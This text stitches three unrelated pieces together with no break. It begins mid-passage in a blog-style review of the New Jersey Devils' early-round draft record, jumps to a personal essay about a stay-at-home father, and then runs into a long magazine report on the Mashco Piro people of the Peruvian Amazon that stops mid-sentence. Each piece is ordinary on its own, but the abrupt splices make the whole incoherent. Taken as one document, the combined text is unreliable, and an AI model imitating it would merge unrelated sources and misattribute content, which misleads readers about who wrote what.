It is highly likely that Larsson and Jacob Josefson will join this list next season to break that futility streak. Though, if we're going to consider the more subjective question "Did they meet their expectations from when they were drafted," then it's arguable that Josefson really shouldn't be seen as a sign of success even though he's a NHL player. It's way too early to judge whether the Stefan Matteau and John Quenneville selections were good or not. At least Matteau may have a shot to stick in the NHL next season. Those hopes aside, there were a lot of years between Zajac and Larsson, and that's resulted in a lack of younger talent on the team and developing in the system. Given that they were nearly all forwards, that stings just a bit more.
Other Thoughts: After scanning the list of first rounders, Matteau really sticks out like a sore thumb. While he was a low first round draft pick, the word on him was that he was a physical, energetic player. The word "gritty" was used in profiles of him. While I may have preferred someone else to have been picked in 2012, past forwards selected in the first round by the Devils really could not be called that at all. The defensemen like Corrente and Hale, sure. Not Josefson, Tedenby, Bergfors, Zajac, Parise, Foster, Gomez, Petr Sykora, or Vadim Sharifijanov. You'd have to go back to 1989 to see a "power forward" taken in the first round. Even if you wanted to call those other guys that, they certainly weren't big and/or strong enough for that to mean anything in the NHL because they weren't. I know the Devils have went for size in past drafts, but that's usually later in the drafts. They're more than fine with picking a smaller, more skilled scoring prospect. It's just that they haven't hit on any of them since Parise.
The Second Round
Number of Picks Since 1994: 30 (none in 2011 and 2004; four in 1996 and 2000; three in 2001; two in 1999, 2002, and 2008).
If the Devils have erred in moving first rounders, then they have had the opposite problem with second rounders. They've had a lot of selections throughout the second round. They've had six years under Conte's leadership with more than one. Surely, the scouts identified good players to pick.
Positional Breakdown: Sixteen forwards (Most Recent: Patrice Cormier, 54th overall in 2008); thirteen defensemen (Josh Jacobs, 41st overall in 2014); and one goalie (Jeff Frazee, 38th overall in 2005)
Under Conte's long term as director scouting, there's more of a balance between forwards and defensemen in the second round. However, if we limit ourselves to recent drafts, then the Devils have went heavy on blueliners in the second round. They've selected at least one defender in every second round they had a pick in since 2008. You know four of them quite well as three were in the NHL last season and one garners high hopes. That was the last year a forward went in that round. With the Devils having two second round selections this year and a pipeline that could use a defenseman or two in development, we could see this streak continue. Of course, that streak is a contributing factor as to why the team lacks scoring forwards in the system, but it's not going to garner too much criticism provided whoever is picked becomes a NHL player.
Second Rounders That Played At Least 200 NHL Games: Paul Martin (Draft Year: 2000), Mike Commodore (1999), Colin White (1996), and Patrik Elias (1994).
That's it. Only four second-round picks since 1994 have played at least 200 games in the NHL. There were quite a few cups of coffee in the league and three of these four turned out to be crucial players for the Devils. Martin became a top defenseman, which was important as Niedermayer and Rafalski left the organization. White became an important, defense-first member of the defense back when those players were still quite valuable. Elias is the franchise's best forward. Still, thirty picks and only four that have made it. That's just sad.
I get that drafting is still very much an art as scouts and teams have to project out a 17 or 18 year old's future and hope they develop to reach those projections. Still, Conte and his scouting crew had eleven second round selections from 1999 through 2002 and they only found two NHL players. There are bad breaks and bad luck, but that's a run where someone in management needed to ask "What's going on?" It's a testament to how the scouts unearthed undrafted gems, hit big on earlier picks, and how Lou constructed the team that this didn't wreck them in the 2000s. However, it's contributing to why the Devils are where they are now.
As with the first rounders, there is hope that more recent picks will prove out to be NHL players who have been in the league for a decent length of time. I don't think very highly of Eric Gelinas and Jon Merrill, but I do think they are players who belong in the league. In two seasons, they should be able to crack the 200-game mark and break that long second-round futility streak. The bigger star may be Damon Severson, who showed a lot of promise in his rookie season. In a few seasons, he could make that pick look very good. The eventual development of Steve Santini and Jacobs will add to that. Still, eleven picks yielding nothing between Martin in 2000 and Gelinas in 2009 (let's assume that pick was a good one) should be a cause of at least concern if not outrage.
Other Thoughts: Not only have the Devils been keen on picking defenders in the second round in recent years, this is where they get a reputation for picking players with notable size. The average height of all defensemen picked in the second round since 1994 is just under 6'2.5". While using official heights is iffy, only two of these thirteen defensemen were under 6'2" in height: Paul Martin and Brandon Burlon (2008). Among the sixteen forwards picked, less than half were under 6'2": Alexander Vasyunov, Petr Vrana, Teemu Laine, Alexander Suglobov, Christian Berglund, Nathan Perrott, and Elias. As a point of comparison, ten of the Devils eighteen first round picks since 1994 are below 6'2" in height. If the Devils do make it a seventh straight draft where a defenseman is picked in the second round, then expect him to be somewhat large. If they do go for a forward, then don't be too shocked if he's at least 6'2" and 190 pounds. Nothing wrong with players with noticeable frames. It appears to be their tendency in the second round since Conte became the Director of Scouting since August 1993.
Closing Thoughts
It's a good thing Larsson, Josefson, Merrill, Gelinas, and Severson appear to be on their way to saying they've been in the NHL for a considerable amount of time. Otherwise, the performance of first and second round draft picks leaves a lot to be desired. That's at least partially why the Devils are relying on free agency, past successful picks until they aren't so good anymore (see: Elias) and other avenues to fill needs in recent years. It's really caught up to them this year. Even with those five players I named, notice that only one of them is a forward and he's a bottom-six forward, so the Devils need for some youth in the top-six remains dire. Still, the main goal from first and second round picks is to get a NHL player who can contribute. There's some reasonable hope that the long dry spell of busts may be over.
That said, after looking at the team's draft history since Conte became Director of Scouting, I openly question whether the Devils need some fresh sets of eyes in their scouting department. Yes, Conte played a big role in the team's successful drafts in the late 1980s and early 1990s. And, yes, there have been some big successes since then. But there hasn't been enough successes, particularly through this last decade of drafts and in the two rounds where most teams get talented players. The Devils should be in a re-building mode anyway, and it's imperative for the success of any re-build to have successful draft picks. In that sense, it may not be the worst idea to at least consider whether David Conte should continue to be the Director of Scouting given that the team has missed more often than not in the top two rounds for so many years.
Let's go back to the initial questions. Would the Devils go for a big, strong, and not-at-all high-scoring winger in Lawson Crouse? It's possible, but the Devils have had no aversion for picking smaller forwards with perceived skill in the first round. Their past first round picks don't show that they look for larger players; that's been more common in the second round.
Could the Devils pick a defenseman in the first round this year? Sure. It would go against their past tendencies in the draft. They've picked defenders before, but it's been few and far between over the years. If history's any judge, the Devils should stay away because before Larsson the last really successful first round defenseman picked was either Jason Smith (1992) or Scott Niedermayer (1991), depending on whether you value picks more if they remain in the organization. It's more likely that they will pick a forward.
What will they do in the second round? In the second round, it should come to nobody's surprise if the Devils do take a defenseman since they've done that since 2008. Again, with two picks this year, I'm confident it'll happen and I'd be fine with it provided they aren't two of the same type of prospect.
My father was a stay-at-home dad, and it shaped how I view the world More
Growing up, I know that I took my home life for granted. It’s true that my family was far from perfect. But still, I had no idea until I was older how much tougher my peers had it. Many of my friends grew up in households with either a single parent or their parents were divorced. But on a grander scale, I saw that most of my friends didn’t feel particularly close to their parents, especially their dads.
That was not my life. I was and still am close to both my parents. When I was 11, my dad made a decision. Both he and my mom were working full time and my brothers and I were at a day care after school. My little brother was only seven at the time and my dad felt like it was important that someone be home with us. After careful consideration, my dad left his job and became a stay-at-home dad.
After he left his job, my dad’s presence in my life became more pronounced. My dad was always crazy about movies and after he quit, my at-home film class began in full force. I was introduced to all sorts of movies: delightful, funny ones as well as somber, difficult ones. It was routine in my house to have a full analytical discussion after we watched something.
And in a way, that practice of discussing and analyzing movies related to all aspects of my life. I always felt comfortable telling my dad what I going through and he always seemed to have the answers, or at least he did a good job pretending to. On more than one occasion during my childhood, I remember telling a parent or teacher that I had a stay-at-home dad. It was never in an obvious way, but I noticed their judgement and eye rolls. For some reason, it was okay for a mom to stay at home with the kids, but when the roles were reversed, it was weird.
I think it’s because we’re taught early in life about gender roles. Part of that message includes the idea that men are supposed to be the breadwinners. We’re taught to view the world in that way. Now, obviously, our society has changed a lot in this way over the last few decades. But, still, it’s difficult not to make judgements based on these gender stereotypes.
In 2014, Emma Watson gave a speech at the United Nations, launching her gender equality initiative called HeForShe. In it, she said, “I’ve seen my father’s role as a parent being valued less by society despite my needing his presence as a child as much as my mother’s.” Since this was something I routinely saw in my childhood, her words were comforting. Someone else noticed. It seemed crazy to me that society valued my father’s role in my life less than my mother’s because he was a man. His presence in my teenage years had a huge impact on the person I became as an adult.
Emma also spoke about how fortunate she was to have people in her life who didn’t treat her differently because she was a girl, saying, “They [her mentors and parents] may not know it, but they are the inadvertent feminists who are changing the world today.” My dad is one of those inadvertent feminists. He taught me good values and how to stand up for myself. He always encouraged me and never made me think I couldn’t accomplish anything I wanted to. His passion for film and storytelling led to my deciding to pursue a career in writing.
President Harry Truman was once asked how he felt about his father being a failure. His father had struggled through many failed business ventures. Harry responded, “How can my father have been a failure when his son is President of the United States?” While my dad was not the one supporting the family in my teenage years, his influence on my life and person cannot be measured.
In the late nineteen-seventies, I made several trips into the Peruvian Amazon, at a time when the jungle was just beginning to open. The governments of Brazil and Peru had recently agreed to build a trans-Amazonian highway, linking the Atlantic and the Pacific, but, aside from some muddy unfinished tracks, the Peruvians’ efforts had been defeated by the “green hell” of the rain forest. The backwoods remained inhabited only by animals and by native people, who in those days were still referred to as “wild Indians.” On one such trip, in 1977, I travelled up the Río Callería, near the unmarked Brazilian border, with a local guide who spoke a few indigenous dialects. We rode in a long wooden dugout canoe known as a peke-peke, its name derived from the sputtering noise of its motor, a Briggs & Stratton outboard. The motor had a propeller that could be raised—essential in shallow waters. Even so, there were stretches where we were forced to get out and pull the canoe by hand. One day, after hours on the river with no sign of human habitation, we rounded a bend and saw a dugout canoe, carrying a woman and a child, both with long black hair and naked torsos. At the sight of us, they began screaming and paddling frantically toward the riverbank, where a row of crude shelters sat on a bluff that was cleared of jungle. They shouted a word over and over: pishtaco. We came ashore cautiously, pulling the boat. The camp had been hastily deserted; I found a fish still roasting on an open fire. The boatman nervously said that we should not continue upriver, or the Indians might attack us. When I asked him about the word the woman and child had shouted, he said that they believed I was a pishtaco, an evil person who had come to steal the oil from their bodies. Months later, a Peruvian anthropologist explained to me the roots of their fear. The term pishtaco, he speculated, originated in the sixteenth century, when Spanish conquistadors such as Lope de Aguirre began exploring the Amazon. These initial contacts had been so nightmarish as to inspire a cautionary tale that still endured: some of the Spaniards, frustrated that their muskets and cannons rusted so quickly in the jungle humidity, were said to have killed Indians and boiled their bodies in iron pots, then used their fat to grease the metal. For the next three hundred years, the European settlers and their descendants made few inroads into the Amazon. Then rubber was discovered, and, in the eighteen-seventies, South American rubber barons began to brutalize the jungles of Peru, Colombia, Ecuador, and Brazil. In 1910, the Anglo-Irish diplomat Roger Casement spent three months among rubber traders and the indigenous people who were forced to work for them, and wrote of the abuses he had witnessed. “These [people] are not only murdered, flogged, chained up like wild beasts, hunted far and wide and their dwellings burnt, their wives raped, their children dragged away to slavery and outrage, but are shamelessly swindled into the bargain. These are strong words, but not adequately strong. The condition of things is the most disgraceful, the most lawless, the most inhuman, I believe that exists in the world today.” Atalaya, on the banks of the Madre de Dios River, is an outpost for adventure tourists, but the recent killing has threatened business in the region. A sign posted in the town warns against contacting or photographing aislados. November 5, 2015. Photograph by Aaron Vincent Elkaim for The New Yorker Photograph by Aaron Vincent Elkaim for The New Yorker The caucheros, as the rubber barons were called, were daring, ruthless men— the equivalent, in a sense, of modern-day narco-traffickers like El Chapo Guzmán. The most murderously flamboyant of them was probably Carlos Fermín Fitzcarrald. Immortalized in Werner Herzog’s 1982 film “Fitzcarraldo,” he was a man of limitless ambition who bloodily installed himself as Peru’s Rey del Caucho—the Rubber King. Fitzcarrald was born in 1862, the eldest son of an Irish-American sailor turned trader and his Peruvian wife. By the age of thirty, he had become wealthy enough to build a twenty-five-room riverside mansion, with grounds tended by Chinese gardeners. Seeking to expand his operations, he began looking for an overland route that would connect the Urubamba River with tributaries of the Brazilian Amazon. Using thousands of indigenous conscripts to hack through the jungle, he found that the headwaters were just six miles apart, on either side of a fifteen-hundred-foot peak, and he conceived a railroad that would unite the two river systems. The plan was to sail an iron-plated steamboat, loaded with railroad ties, to the Urubamba’s headwaters. There, native porters would lay a track over the mountain, disassemble the ship, lug its pieces across, and put it back together. In 1894, he launched an expedition to secure the route, and before setting out he addressed his followers from a balcony of his great house. “Like a good and just father, I take you with me,” he said. “I will reward you with the bounty of the divine mountains that extend from where the Sun rises, and where abundant hunting awaits.” Their quarry ended up being mostly the Mashco, who then dominated the region. Euclides da Cunha, the Brazilian scientist and explorer, described Fitzcarrald’s meeting with the Mashco’s leader, in which he mustered his armed men to intimidate the natives into coöperating. “The sole response of the Mashco was to inquire what arrows Fitzcarrald carried,” da Cunha wrote. “Smiling, the explorer passed him a bullet from his Winchester.” The Mashco leader examined it, amused, and then took one of his arrows and jabbed it into his own arm, looking on implacably as blood ran out of the wound. “He turned his back on the surprised adventurer, returning to his village with the illusion of superiority,” da Cunha continued. “Half an hour later roughly one hundred Mashcos, including their recalcitrant chief, lay murdered, stretched out on the riverbank.” It was the beginning of a seemingly endless cycle of destruction. Eight decades after Fitzcarrald’s rampage, I took another trip, on the Madre de Dios, where a gold boom had recently begun. Along the river were small camps of prospectors, who had set up diesel-powered pumps and wooden sluices and were noisily gouging away the riverbanks. Their arrival had clearly unsettled the local Amarakaeri people. The Amarakaeri had once been a sizable warrior tribe, but, by the time I arrived, perhaps five hundred remained, living in rudimentary hamlets, where they survived by fishing with poison and by panning for gold. As for the Mashco, who had lived upriver, there was no sign of them whatsoever. It was as if they had never existed.
The Ministry of Culture’s team gathered a few months ago in Cuzco, high in the Andes, where a van was loaded with provisions. The leader was an anthropologist named Luis Felipe Torres, a slim man in his early thirties with an aquiline face and the unassuming manner of a professional observer. He was joined by Glenn Shepard, an American ethnobotanist. A youthful-looking man of fifty, Shepard had lived for a year in the nineteen-eighties among the Matsigenka people, who shared territory with the Mashco; he had learned their language and returned many times since. Shepard worked at the Emílio Goeldi Museum, an Amazonian-research center in Brazil, but he travelled to Peru frequently as an informal adviser to Torres’s department. Luis Felipe Torres, an anthropologist with the state’s isolated-tribes team. Photograph by Aaron Vincent Elkaim for The New Yorker Photograph by Aaron Vincent Elkaim for The New Yorker Soon after we set out, the paved road ended, and we began dropping down the eastern escarpment of the Andes, zigzagging through cloud forest and into the humid lowland jungle. After seven hours, we reached the end of the road, at Atalaya, a huddle of rough wooden houses and bodegas on the upper Madre de Dios River. Atalaya was a destination for adventure tourists; at the shoreline was a jetty lined with brightly painted river canoes. But the recent killing had threatened business in the area. A sign, depicting the silhouette of an aislado with a bow and arrow, announced, “Beware! This is a zone of transit for Isolated Indigenous Peoples. Avoid conflicts: Don’t attempt to contact them. Don’t give them clothes, food, tools, or anything else. Don’t photograph them; they might interpret the camera as a weapon. In the event of incidents, contact the Ministry of Culture.’’ Torres had recently overseen a rendezvous with a group of Mashco Piro: several families, possibly interrelated, who were led by a young man called Kamotolo. In photographs that Torres showed me, Kamotolo—tall and beardless, with alert eyes—was clearly recognizable as the man who appeared in the Internet video carrying a soda bottle. Other pictures showed an older man, with wild hair and a scruffy beard, who was likely Kamotolo’s father. He was rumored by locals to have killed Shaco Flores; Kamotolo was thought to have killed Leonardo Pérez. At the department’s outpost, Torres had left a small team of local Yine people, who spoke the same language as the Mashco. Their goal was to discover why they were coming out of the forest, and to get them to stop their attacks. But the Mashco didn’t like answering questions about themselves, so Torres’s crew knew little about them. They estimated that between five hundred and a thousand Mashco lived in four groups in the jungle of Peru and Brazil, around an expanse of protected land called Manú National Park. They were related to the Yine, but separated by history: the Yine were the descendants of Fitzcarrald’s conscripts, and the Mashco were believed to be the descendants of those who had fled. Former farmers who had become nomadic hunter-gatherers, they had forgotten how to plant food, and were the only indigenous people in the region who didn’t know how to fish. But they hunted efficiently, using unusually stout arrows, whose heads were attached in a distinctive manner that allowed anthropologists who found discarded shafts to track their movements. The community that Torres’s team was trying to contact was perhaps three dozen people. In their first encounters, it had been unclear how much they understood of the outside world. The Department of Native Isolated People was drastically underfunded and understaffed, so Torres shuttled between the Mashco outpost and other assignments in Madre de Dios. He had just returned from an even more remote area, where he had followed up on reports of aislados whose territory was being threatened by loggers. He showed me photographs of the remains of a cookfire and a campsite, evidence that the department could use to begin the process of having the land protected. But Torres spoke of his work as almost futile. The department—tasked with looking out for all of Peru’s isolated indigenous people—was a tiny office with little political clout. The Ministry of Energy and Mines, by contrast, was a well-funded agency with the power to open up the Amazon to development that would bring wealth and jobs. “In the battle for the government’s ear,” Torres said dryly, “you can imagine who is more influential.”
For much of the twentieth century, Brazil defined the region’s approach to the aislados: its National Indian Foundation sent scouts to contact them, with the goal of assimilation. These efforts were mostly calamitous for the contacted people, who tended to die out from disease, or to wind up living in frontier shantytowns, where the men often succumbed to alcoholism and the women to prostitution. In barely fifty years, eighty-seven of Brazil’s two hundred and thirty known native groups died off, and the ones that remained lost as much as four-fifths of their population. In the nineteen-eighties, officials at the National Indian Foundation, horrified by the decline, began to enforce a “no contact” policy: when its agents spotted aislados, they designated their land Terras Indígenas—areas forbidden to outsiders. A boy from the Yine village of Diamante swims in the Madre de Dios River. The Yine people are related to the Mashco but separated by history. The Yine are the descendants of workers conscripted by the rubber baron Carlos Fermín Fitzcarrald; the Mashco are believed to be the descendants of people who fled from him. November 13, 2015. Photograph by Aaron Vincent Elkaim for The New Yorker Photograph by Aaron Vincent Elkaim for The New Yorker Most of the neighboring countries adopted Brazil’s no-contact policy, which anthropologists now see as the best way to insure the survival of the remaining aislados. But, for Peru, land in the Amazon was too rich to give up. In the past two decades, the country has experienced an economic boom, based on natural resources. Opening up the jungle has made Peru one of the world’s largest exporters of gold (as well as the second-largest producer of cocaine), and the Camisea natural-gas facility, north of Manú National Park, provides half of the country’s energy. Politicians have been hesitant to disrupt business. Alan García, the President from 2006 to 2011, insisted that the isolated tribes were a fantasy devised by environmentalists to stop development; an official in the state oil company compared them to the Loch Ness monster. As loggers, miners, and narco-traffickers moved in, aislados fled across the border into Brazil, seeking sanctuary. In 2011, though, García was voted out of office, and his successor overturned his policies. Around the same time, a documentary about the aislados ran on Peruvian TV. In it, a BBC film crew flew with José Carlos dos Reis Meirelles, a prominent agent from Brazil’s National Indian Foundation, over a part of the Amazon where aislados’ land was being invaded by illegal loggers. As the aislados stared up from the red earth between their huts, Meirelles said, “They are the last free people on this planet.” For Peru’s city dwellers, who had thought little about the isolated people, the film was a revelation. Soon afterward, the country amended its laws to say that the aislados should be left alone. But, even as Peru embraced the no-contact policy, a new idea was emerging. Last June, the journal Science published a paper in which two prominent anthropologists, Kim Hill and Robert Walker, argued that isolated indigenous groups were “not viable in the long term,” because their environments are too degraded or too vulnerable to incursions. Instead, they advocated a new policy, built around “well-organized contacts.” The article sparked a furious controversy. “Walker and Hill play straight into the hands of those who want to open Amazonia up for resource extraction and ‘investment,’ ” Stephen Corry, the director of Survival International, wrote. “Let there be no doubt: isolated tribes are perfectly viable, as long as their lands are protected. To think we have the right to invade their territories and make contact with them, whether they want it or not, with all the likely consequences, is pernicious and arrogant.” But protecting the tribes’ land might be an unrealistic hope. The governor of Madre de Dios, Luis Otsuka, is the former head of a statewide miners’ association, and he has not changed his loyalties. He has allowed gold miners to strip large sections of jungle, and, a few months before I arrived, he sent bulldozers to begin pushing a road through the forest, which would run along the Madre de Dios River, connecting the gold-mining areas to the regional capital, Puerto Maldonado. It would be, in a sense, the fulfillment of Fitzcarrald’s dream. It would also be the destruction of the area’s wilderness, and of the Mashco. Indigenous-rights groups sued to stop construction, but Torres had little doubt that the road would eventually go through. When he met with Otsuka, as construction was starting, the governor said bluntly that he thought the Mashco Piro should be contacted, and by force. Last year, Glenn Shepard was asked to look into the situation, and he and Torres spent ten days speaking to local people. Shepard feels that the best thing for the Mashco would be total isolation. But, by the end of the trip, he agreed that it had become impossible. “The Mashco Piro are already talking to us, in a sense, but it’s just one way so far—they’re coming out and killing people,” he said. “We need to make it a two-way dialogue. There has to be a next step. The only thing is right now we don’t know what that is.” Nena, a Yine woman whose land was invaded by the Mashco. Photograph by Aaron Vincent Elkaim for The New Yorker Photograph by Aaron Vincent Elkaim for The New Yorker
Torres’s most pressing job was to discourage fighting between the Mashco and the other indigenous people in the area, so his first stop was Shipetiari, the village where Leonardo Pérez had been killed, which is almost exclusively inhabited by Matsigenka. Shipetiari, set back in the jungle, is composed of family compounds—large huts on stilts—connected by a labyrinth of footpaths. At the village meeting house, we were greeted by three “protection agents”: local men whom Torres had hired to patrol the community and to report any incidents. They had been given walkie-talkies and khaki vests with the department’s logo. Torres asked them to gather residents to discuss the latest developments, and in the next half hour a couple of dozen men and women, some with small children, wandered in and took seats on the floor. The villagers sat with stubborn expressions. Most of them wore cast-off Western clothing, except for one woman, who had on a traditional cotton robe with a hand-rendered design of black and white stripes. After stilted greetings, Shipetiari’s schoolteacher stood to say that the community was frustrated. On an earlier visit by Torres, people had aired their views, and there seemed to have been no results. “A brother was killed here and nothing happens,” the teacher said. “That’s why when foreigners and N.G.O.s come from outside we don’t tell them anything!” Torres listened diplomatically, and then reminded the Matsigenka that his department had hired the protection agents, who were on constant patrol. He was paying the village for the use of the meeting house, and had promised to install toilets and a water filter. “But this roof leaks,” he said, pointing to the palm-leaf thatching overhead; perhaps, he suggested, some of the villagers might volunteer to collect palm fronds to patch it. There was a long silence. Eventually, a woman named Rufina Rivera said, “But what happens if we go into the forest to get fronds and the Mashco shoot arrows at us?” Torres said calmly, “O.K., understood. We’ll bring the fronds from somewhere else.” Torres was careful to refer to the Mashco using a term that the department was trying to encourage: nomole, which means “brother” in the Yine language. The crowd seemed to feel little affinity. For them, the Mashco were outsiders. Although the Matsigenka’s traditional home was a couple of hundred miles to the north, they had long maintained a small outpost in Shipetiari, and in the eighties a larger group had moved in, eking out an existence by growing yucca and bananas. According to Shepard, they also worked with timber buyers, who hired them illegally to log valuable hardwoods. The presence of the Mashco, and of the officials tracking them, made it difficult for the Matsigenka to live normal lives, much less expand their logging operations. And Pérez’s death threatened to bring about an open conflict. Following the killing, a squad of Matsigenka men armed with guns had pursued the Mashco into the forest. After hiking for eight hours, they found their camp, but it was empty, so they destroyed it and threw the Mashco’s arrows in the river. It was both a defensive act and a punishment: the cane that the Mashco use for arrows ripens only once a year, and they would not be able to hunt until they were replaced. Torres pointed to the protection agents, and said that he hoped to be able to hire more, but until there was more money in his budget he needed two volunteers to help out. Rivera insisted that he hire more agents, and give them walkie-talkies. The schoolteacher said, “The Mashco are going to come back. For sure they will come back to look for food here when the rains come.” Rivera yelled, “The solution is to send all the Mashco across the river!” Everyone laughed. Torres said, “That’s not possible.” If they returned, he said, the community should not be aggressive: “If you lose some bananas, they can always be replaced. If you kill one of them, you’ll live in a state of war.” Gesturing toward the forest, he said, “The Mashco are going to continue to live here. So, if they come again, the thing to do is to stay in your houses and then let us know so we can come, and we’ll use the contact we are having with them to let them know it’s not good to attack people.” Rivera said, “So you say if the Mashco come we shouldn’t do anything. But, if they kill someone of mine, I’ll kill them—of course I will! If they come and kill my husband, I will kill them, and if they ask me why I am in prison I will say, ‘For killing Mashco.’ ” After the meeting, we walked with the protection agents to the edge of the village and stopped on a broad path shaded by trees. One of the agents walked into the bush and crouched down. “This is where the Mashco was hiding,” he said. “Here he drew his bow and fired the arrow that killed Leo.” Around us, the forest was silent, except for the trilling of a few cicadas.
Nomole, as Torres and his crew called their outpost, was two hours farther downriver: a longhouse, made of crude planks painted green, propped up on stilts on a bluff above the river. The surrounding forest had been slashed and burned, and the open land was still dotted with blackened stumps. Visitors pitched tents outside the longhouse; in the woods, at a discreet distance, a trench latrine had been dug. At the edge of the bluff, a wooden bench offered a view of the rocky shoreline on the other side, where the Mashco had most recently appeared. The river was perhaps four hundred feet across, and in the middle was a pair of low islets that were submerged when the water was high. Heavy rains in the past few days had turned the river into a swirling gray-green torrent, erupting into white water around rocks and fallen trees. There were five Yine agents at the Nomole post, led by Romel Ponceano, a husky man in his late thirties, who was a chief in a community several days’ journey away. His family had a long history in the region, working as guides for the rubber barons and, more recently, for oil explorers and mahogany loggers. Like a poacher who had become a game warden, Ponceano had begun working for Torres, and had made himself indispensable. He was aided by Reynaldo Laureano, a sturdy man in his fifties, and Nelly Flores, a plump, reserved woman in her thirties, both from the nearby Yine settlement of Diamante. When we arrived, Ponceano reported that the Mashco had appeared a week earlier, and said they would return in six days, but they hadn’t shown up. Ponceano speculated that the rain had flooded the rivers that demarcated their territory, and the Mashco, who didn’t know how to swim, had been unable to ford them. As we waited, a pattern developed. People took turns as sentinels on the bluff, watching for the Mashco and listening for a loud hooting whistle, the sound they made to announce their approach. The watchers kept their hopes in check. In three decades of visiting the area, Shepard had never seen the Mashco: he had encountered them only once, as warning whistles in the forest. Each morning, we were awakened in our tents by the chattering of tiny titi monkeys and the plunking call of paucar birds. The days were long and hot, punctuated by meals of river fish with boiled yucca or rice, or spaghetti and tuna that Torres had brought from Cuzco. There was an occasional flurry of excitement. One morning, a tapir appeared in the reeds of the nearest islet, and Laureano scrambled after it with a shotgun, returning empty-handed. Another day, a large, hairy tarantula was killed inches from the door of the longhouse. For entertainment, people stared at the river, or watched the endless succession of bright-colored macaws that flew squawking overhead. Shipetiari, the village where a Mashco attack killed Leonardo Pérez, in 2015, is inhabited almost exclusively by Matsigenka. The community has become frustrated by raids by the Mashco, who have come looking for food and for useful items. November 6, 2015. Photograph by Aaron Vincent Elkaim for The New Yorker Photograph by Aaron Vincent Elkaim for The New Yorker The team spent most of its time at a table in the longhouse, poring over photographs of the Mashco, speculating about their relationships with one another. By bringing them bananas, which they loved but didn’t know how to cultivate, and communicating in basic Yine, the team had established a tentative rapport. In several short encounters, they had identified about twenty Mashco by name. For now, they were emerging from the forest about once a week, but that was all. One morning, there was a sound of distant whistling, and several of us ran toward the riverbank. Flores, ahead of the others, shook her head: the sound had come from a panguana bird, whose call resembled the Mashco’s whistle.
Even if we couldn’t see the Mashco, it was clear that they were nearby. People in Diamante, an hour downriver, had reported quiet raids, in which the Mashco came looking for food and for things to steal. Torres hoped that they would desist now that his team was feeding them, but if the rains kept them from the meeting point there was a risk that they would start again. At a community meeting in Diamante, a woman named Nena, carrying a baby on her back, stood nervously to say that she had visited her vegetable patch—a small plot that Peruvians call a chacra—and found indications that the Mashco had been there. It had happened a week ago, and she was still afraid to return. Torres wanted to review the evidence, so we crossed the river in our peke-peke, with Nena pointing the way. Onshore, we followed her through a maize field to a spot where she stopped and looked around fearfully. At the entrance to a barely discernible path into the forest, she pointed at two twigs that had been bent so that their tips crossed. Ponceano inspected them closely, then walked on, scrutinizing the path. There were four more sets of bent twigs: a warning left by the Mashco. “What does it mean?” I asked. “It means you should not go any farther,” Ponceano said. “If you do, they will shoot you with arrows.” Nena led us back to the riverbank, sweating and breathing in nervous gasps. Her husband worked in a sawmill, far away, and came home only every few months, so she tended the plot herself, often bringing along the baby and her three older children. “I keep the baby here,” she said, touching the bundle on her back. Then she gestured at a shaded area under some trees. “I usually leave the others there, playing. Now I can’t do that anymore.” With a distressed look, she said that she didn’t know how she was going to feed her family now.
As we approached Nomole, going back upriver, the boat crew began shouting and pointing to the far shore. A group of people had assembled, their reddish skin distinct against the scree of white rock. The Mashco had returned. Across the river, the Nomole team was setting out from the shore: Flores and Ponceano, as well as a doctor named Fernando Mendieta, who sometimes volunteered. To avoid disrupting their work, Torres steered us toward a long sandbar, a hundred feet from where the Mashco had gathered. We crept toward a large tree snagged there, which offered us cover while we watched. The Mashco on the shore had very erect posture and moved economically, seeming always to be in synch. Their leader, Kamotolo, was tall and square-jawed, with cropped black hair, and was completely naked; so was a younger man, who looked to be a teen-ager. There were two women, who had long, thick hair and wore flaps of woven bark on strings around their waists, which protected their genitals but left their bottoms bare. Both women were pregnant, and they tended to five children, all of them naked. Waldo Maldonado, an anthropologist with the government team that’s trying to contact the Mashco, in the river town of Boca de Manú. November 9, 2015. Photograph by Aaron Vincent Elkaim for The New Yorker Photograph by Aaron Vincent Elkaim for The New Yorker The Mashco had a ritual greeting: they hugged visitors, put their heads on their shoulders, and then felt inside their clothing, as if to ascertain their sex. For perhaps forty minutes, the two groups mingled: the Mashco touching and probing, and the Nomole team acquiescing, mostly in good humor. The Mashco women approached Flores and, as she giggled, touched her breasts and stomach. Kamotolo strode along the shore, sat down in the Nomole peke-peke, and then returned to the group, looking excited. The team had brought two large hands of bananas and set them down near a fallen log. Kamotolo periodically went over, sat on the log, and ate bananas, one after the other. There was little talk, and no sense of urgency; it was as if the Nomole team had crossed the river to play with a group of largely mute children. A couple of the younger Mashco swarmed Ponceano and made him race with them, back and forth from the tree line to the shore. They seemed delighted by his chubbiness. One of the women approached Mendieta, and tugged at his shirt, a purple polo. He gently resisted, but the woman finally got the shirt from him and pulled it on. When the team climbed into the peke-peke to leave, the Mashco lined up to watch. As the boat pulled away, Kamotolo began staring at us and shouting. I had seen him questioning Ponceano about us, pointing in our direction. Now, without the team there to distract them, the Mashco began throwing rocks, which splashed into the river. We hastily followed the Nomole team back to the outpost. On the riverbank, the team members were elated, swapping stories about their interactions. When I asked Flores about the women, she put a hand to her mouth in embarrassment. “They felt my breasts and stomach and said to me, ‘You’re pregnant, aren’t you?’ When I said, ‘No, I’m not,’ they said, ‘Tell us the truth! Don’t you have milk?’ When I said no, Knoygonro squirted her milk in my face, to say, ‘I do.’ ” Flores covered her mouth again, giggling. The team spent the rest of the day making notes and going over photos, identifying the Mashco who had appeared, while Ponceano translated their names. Kamotolo meant “honeybee.” The younger man was Tkotko (“king vulture”), and the two women were Knoygonro (“tortoise”) and Chawo (“hoatzin bird”). The children, too, were named for animals, except for one toddler, Serologeri, whose name meant “ripe banana.” The Mashco had carefully examined the Nomole team’s gear and clothing—looking, Ponceano believed, for weapons, or for anything else they might find useful. They had removed the drawstring from Laureano’s shorts and kept it. Kamotolo had been interested in Ponceano’s shorts, too, but then he noticed a big hole in the crotch and told him to keep them. Ponceano had inquired about the warning signs near Nena’s farm, and Kamotolo had hinted that the Mashco had been in the area, but offered no details. Ponceano had let the matter drop; he had learned in previous encounters that when he asked too many questions Kamotolo rounded up the others and left. I asked what the Mashco had said when they saw us on the sandbar. Flores told me, “They said, ‘Are they bad people?’ I said, ‘No, they are our friends, but they’re not coming over because they have colds, and we don’t want you to catch them.’ ” (In fact, the whole team was healthy; Flores was trying to keep the encounter under control.) The Mashco, seeming unconcerned, had said, “Tell them to come!” Before the Nomole team departed, Kamotolo said that the Mashco would return in three days. The visits were getting more frequent, but Torres seemed as concerned as he was pleased. “Right now, it’s bananas they want,” he said. “But what will they be asking us 